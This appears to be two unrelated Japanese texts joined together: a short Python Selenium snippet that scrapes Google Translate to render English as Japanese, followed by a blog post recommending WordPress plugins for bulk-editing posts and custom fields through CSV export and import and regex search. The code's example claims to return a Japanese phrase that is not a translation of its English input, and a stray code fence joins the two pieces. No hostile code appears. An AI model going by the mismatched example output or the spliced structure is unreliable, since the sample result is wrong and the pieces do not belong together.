driver.get("https://translate.google.co.jp/?um=1&ie=UTF-8&hl=ja&client=tw-ob#en/ja/")
def eng2jp(eng_text):
    driver.find_element_by_id("source").clear()
    driver.find_element_by_id("source").send_keys(eng_text)
    driver.find_element_by_id("gt-submit").click()
    time.sleep(0.1) # 少し待つ
    return "".join([i.text for i in driver.find_elements_by_xpath('//span[@id="result_box"]//span')])

eng2jp("lement is no longer attached to the DOM")
# returns '英語を日本語に翻訳する'
```
カスタムフィールドにも対応！WordPressで記事の内容を一括編集、投稿出来るプラグイン


WordPressで一度にたくさんの記事を編集したり、投稿したい時、
1つ1つ記事を開いて編集するのはとっても大変。

記事の内容だけじゃなくて、カスタムフィールドも編集したい！って事もありますよね。

そんな時に活躍してくれるプラグインをご紹介します。

#CSVで記事の一括編集、投稿出来るプラグイン
##エクスポート
「[WP CSV Exporter](https://ja.wordpress.org/plugins/wp-csv-exporter/)」
・カスタムフィールド、タクソノミーを選択してエクスポート出来る。
・SCVインポート用のプラグイン「Really Simple CSV Importer」に対応している。
*基本投稿は無料ですが、カスタム投稿対応は有料です。
[詳しくはこちらから。](https://www.kigurumi.asia/imake/3972/)

##インポート
「[Really Simple CSV Importer](https://ja.wordpress.org/plugins/really-simple-csv-importer/)」
・カスタムフィールド、タクソノミーにも対応。
・カスタムフィールド用のプラグイン「Advanced Custom Fields」にも対応している。
他にも細かいところまで対応しています。
[詳しくはこちらから。](http://notnil-creative.com/blog/archives/3465)


#wordpress上で一括編集出来るプラグイン
「[Search Regex](https://ja.wordpress.org/plugins/search-regex/)」
・エクスポート、インポートなしでwordpress上で一括編集が出来る。
・カスタムフィールドにも対応。

*正規表現を使う場合は「Regex:」の「case-insensitive:」にチェックを忘れずに!

カスタムフィールドの他にも、細かなサポートをしているので、
詳しい説明、使い方はそれぞれのリンク先で確認して見て下さい。